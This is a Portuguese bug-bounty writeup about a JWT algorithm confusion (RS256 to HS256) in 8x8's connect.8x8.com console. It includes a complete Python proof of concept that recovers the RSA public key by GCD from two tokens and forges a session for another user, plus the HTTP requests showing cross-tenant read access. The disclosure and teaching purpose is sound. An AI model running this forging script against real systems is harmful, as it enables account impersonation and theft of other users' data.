• home
  • posts
  • about
kyotozx
  • home
  • posts
  • about

Conteúdo

  • Onde eu estava olhando
  • JWT em 30 segundos
  • O payload carregava informação demais
  • A confusão de algoritmo
  • Recuperando a chave pública por GCD
  • A PoC
  • Forjando a sessão de outra conta
  • Onde o bug para
  • O mapa dos outros verificadores
  • Resumo
Back to postsRead in English

Confusão de algoritmo JWT (RS256 para HS256) - $1337 bounty

8 min read
2026-09-01
writeupwebbug-bounty

Writeup de como eu peguei uma confusão de algoritmo em JWT (RS256 para HS256) no console CPaaS da 8x8, que dá pra forjar a sessão de qualquer usuário da plataforma a partir de uma conta de trial.

connect.8x8.com/api/v1: JWT Algorithm Confusion Vulnerability (https://hackerone.com/reports/3800870) - $1337 bounty

7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Onde eu estava olhando

connect.8x8.com é o console de CPaaS da 8x8 (SMS, voz, chat apps, número virtual, billing). Eu não tinha começado caçando JWT. Estava mapeando a arquitetura de autenticação, e a primeira coisa que apareceu é que o mesmo host serve duas camadas de API de eras diferentes: /api/v1 cai num backend Java (portal-apiv1, o que serve o console antigo) e /api/v2 cai num serviço Node mais novo. Dá pra separar os dois só pelo erro: v1 responde Invalid credentials, v2 responde access_denied.

Isso por si só já é um lead. Quando um produto tem dois backends escritos em épocas diferentes atrás do mesmo domínio, os checks de auth quase nunca são idênticos, e o mais velho normalmente é o que ficou pra trás.

O primeiro reflexo em qualquer app autenticado é abrir o token da sessão. Foi o que eu fiz.

JWT em 30 segundos

Um JWT é três pedaços em base64url separados por ponto:

header.payload.assinatura

O header diz qual algoritmo assina o token. O payload são os dados (quem é o usuário, quando expira). A assinatura é o que garante que o payload não foi alterado depois de emitido.

A assinatura é calculada sobre header.payload. Quando o token volta numa request, o servidor recalcula e compara com a que veio. Bateu, ele confia no payload. Não bateu, rejeita. Toda a segurança do JWT está nessa comparação. Se eu conseguir produzir uma assinatura que o servidor aceita, eu coloco o que eu quiser no payload.

A diferença entre os dois algoritmos que importam aqui:

  • RS256 é assimétrico. O servidor assina com a chave privada, qualquer um verifica com a chave pública. A pública é pública de propósito, não tem segredo nela. Conhecer a chave pública não te deixa forjar nada, porque assinar exige a privada.
  • HS256 é simétrico (HMAC). A mesma chave assina e verifica. Quem conhece a chave consegue assinar.

O payload carregava informação demais

Login feito, fui no localStorage e abri o token. Header normal: {"alg":"RS256","typ":"JWT"}. O payload é que chamou atenção:

{
  "UserId": "B0C6B89F-E73F-4900-B4E0-74E098F277C3",
  "Email": "[email protected]",
  "AccountId": "AsyxSecLab...",
  "AccessLevel": "A",
  "Roles": ["ApiKeys_v2", "Payment_v2", "UserManagement.ManageUsers_v2"],
  "iss": "connect.8x8.com",
  "exp": 1750000000
}

Identidade, e-mail, conta, nível de acesso, roles. Tudo dentro do token. Isso diz uma coisa: o servidor lê a sessão direto da assinatura em vez de bater no banco a cada request. É comum e é eficiente. Também quer dizer que quem forjar uma assinatura válida não burla um check de autorização, vira o usuário. O servidor acredita em cada campo do payload.

Então o alvo ficou claro. Não era achar um endpoint mal protegido, era assinar um token que esse servidor aceita.

A confusão de algoritmo

O bug clássico de confusão de algoritmo é uma biblioteca que escolhe o que fazer com base no alg do header, que é um campo que eu controlo.

O servidor tem uma chave configurada. Se o token chega com alg: RS256, ele trata essa chave como chave pública RSA e verifica a assinatura. Se eu trocar para alg: HS256, algumas implementações pegam essa mesma chave (os bytes do PEM da pública) e usam como segredo do HMAC.

O problema fica visível aí: o segredo do HMAC passa a ser uma coisa que não é secreta, a chave pública. Teoricamente eu conheço a chave pública. Então eu consigo assinar um HS256 válido: mando {"alg":"HS256"}, assino o payload com o PEM da pública como segredo, e o servidor verifica o HMAC com o mesmo PEM e dá match.

Faltava só a chave pública.

Recuperando a chave pública por GCD

Procurei o de sempre: /.well-known/jwks.json, endpoint de metadata, chave embutida no JS. Nada exposto.

Mas dá pra recuperar a chave pública a partir de duas assinaturas suas. Não precisa que ninguém te dê. E eu já tinha o gerador de assinaturas: cada login me devolve um token novo, assinado pela chave privada deles.

Uma assinatura RS256 é s = m^d mod N, onde m é o hash com padding e N é o modulus (a parte pública da chave, junto com e = 65537). Elevando os dois lados a e:

s^e ≡ m   (mod N)

ou seja, s^e - m é múltiplo de N. Com dois tokens meus (assinaturas s1, s2, mensagens m1, m2), N divide os dois números s1^e - m1 e s2^e - m2, então divide o MDC:

N | gcd(s1^e - m1,  s2^e - m2)

O gcd te dá N vezes uns fatores pequenos espúrios, que você tira dividindo pelos primos pequenos. Sobra o modulus. Com N e e você remonta o PEM. Dois tokens da sua própria conta, zero interação com vítima.

A chave era de 1024 bits, então o GCD roda em segundos.

A PoC

Pega dois tokens seus, recupera o modulus por GCD, monta o PEM, e assina um HS256 trocando o UserId para o da vítima:

#!/usr/bin/env python3
# connect.8x8.com v1: confusao de algoritmo RS256->HS256 -> forja a sessao de qualquer usuario.
# pip install gmpy2 cryptography
# uso: python3 poc.py <meu_token1> <meu_token2> <UserId_da_vitima>
import sys, json, base64, hashlib, hmac, gmpy2
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

b64u  = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=')
ub64u = lambda s: base64.urlsafe_b64decode(s + '=' * (-len(s) % 4))
SHA256_DIGINFO = bytes.fromhex('3031300d060960864801650304020105000420')

def split(tok):
    h, p, s = tok.strip().split('.')
    sig = ub64u(s)
    return (h + '.' + p).encode(), int.from_bytes(sig, 'big'), len(sig), json.loads(ub64u(p))

def emsa_pkcs1(signing_input, klen):           # o inteiro que uma assinatura RS256 valida "abre"
    T = SHA256_DIGINFO + hashlib.sha256(signing_input).digest()
    return int.from_bytes(b'\x00\x01' + b'\xff' * (klen - 3 - len(T)) + b'\x00' + T, 'big')

si1, s1, klen, p1 = split(open(sys.argv[1]).read())
si2, s2, _,    _  = split(open(sys.argv[2]).read())
e = 65537
N = int(gmpy2.gcd(s1**e - emsa_pkcs1(si1, klen), s2**e - emsa_pkcs1(si2, klen)))
for f in range(2, 100000):                     # tira os fatores pequenos espurios
    while N % f == 0: N //= f
assert pow(s1, e, N) == emsa_pkcs1(si1, klen) % N, "recuperacao do modulus falhou"

pem = rsa.RSAPublicNumbers(e, N).public_key().public_bytes(
    serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)

payload = dict(p1)                             # usa os claims do seu token como template...
payload['UserId'] = sys.argv[3]                # ...e troca o UserId da vitima (o unico campo que importa)
msg = b64u(b'{"alg":"HS256","typ":"JWT"}') + b'.' + b64u(json.dumps(payload, separators=(',', ':')).encode())
print((msg + b'.' + b64u(hmac.new(pem, msg, hashlib.sha256).digest())).decode())

As duas linhas que fazem o bug acontecer: o alg vira HS256 e o segredo do HMAC é pem, a chave pública recuperada.

$ python3 poc.py token_a.jwt token_b.jwt 988C7325-9679-4ACC-951C-00291EFDA43E
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJFbWFpbCI6...   (alg=HS256)

Forjando a sessão de outra conta

Pra não testar na conta de ninguém de verdade, criei uma segunda conta de trial, de outro tenant, pra ser a vítima. UserId 988C7325-9679-4ACC-951C-00291EFDA43E, conta AsyxOrg2Corp3978_0pP78. Forjei o token com o UserId dela e mandei no endpoint de identidade:

GET /api/v1/auth/user?rolesVersion=2 HTTP/2
Host: connect.8x8.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
HTTP/2 200 OK
{"data":{
  "UserId":"988C7325-9679-4ACC-951C-00291EFDA43E",
  "Login":"[email protected]",
  "AccountId":"AsyxOrg2Corp3978_0pP78",
  "AccountUid":"61AAF736-5C64-F111-B95E-060D6FF3E2F2",
  "AccessLevel":"A",
  "Roles":["ApiKeys_v2","Payment_v2","UserManagement.ManageUsers_v2", "..."]
}}

200, respondido como a outra conta, de outro tenant. E não é eco do meu token: o e-mail e o AccountUid vieram do registro dela no servidor. Depois confirmei que GET /api/v1/users/profile também devolve o perfil completo da identidade forjada (e-mail, telefone, nome, empresa), e os dados da conta:

GET /api/v1/accounts/61AAF736-5C64-F111-B95E-060D6FF3E2F2/sub-accounts HTTP/2
Authorization: Bearer <token forjado HS256>

HTTP/2 200 OK
[[{"SubAccountUid":108619,"SubAccountId":"AsyxOrg2Corp3978_0pP78_hq","Product_SMS":true,"Default":1}]]

O mesmo endpoint com o meu AccountUid devolve 400 (id não bate). Isso prova que o token está amarrado à identidade da vítima, não é um curinga de "auth faltando" que devolve qualquer coisa pra qualquer um.

Onde o bug para

Tentei escrever. Todo endpoint que muda estado, sob o token forjado, devolveu 500 ou Impersonation checking failed. Tem uma segunda barreira na escrita que o forge não passa. Então é read-impersonation: leio identidade, e-mail, conta, roles, perfil e sub-contas da vítima, cross-tenant, e os endpoints de /balance e /payments/transactions respondem 200. Mas não escrevo.

O mapa dos outros verificadores

Também vale checar onde mais o token roda. O mesmo token forjado, contra o backend v2, contra sso.8x8.com e contra o JaaS em 8x8.vc, tomou 401 em todos (o v2 responde literalmente "invalid algorithm"). Todos os outros verificadores pinam o algoritmo. Só o caminho de leitura do v1 tinha o buraco.

Isso ajuda o report de duas formas: mostra que o escopo do bug foi mapeado, e mostra que a correção já roda em produção do lado deles, é só aplicar no verificador que ficou pra trás. Foi exatamente o palpite inicial (o backend mais velho atrás do mesmo domínio) confirmado.

Resumo

  • Token gordo (identidade, roles, nível de acesso) é sinal de que o servidor confia na assinatura como fonte de verdade. Seguro enquanto a assinatura for inquebrável, e a maior superfície de ataque no momento em que não for.
  • Duas camadas de API atrás do mesmo host, escritas em épocas diferentes, é um lead de auth por si só. Foi o que me fez testar os dois verificadores em vez de só um.
  • "Não tenho a chave pública" raramente encerra o assunto em RSA: dois tokens seus e um GCD recuperam o modulus.
  • Mapear onde o bug não está (os outros backends pinando o alg) dá peso ao report.
  • Reprodução não é reportabilidade: o 200 prova que roda, os controles provam que é bug. Manda os dois.

© 2026 · kyotozx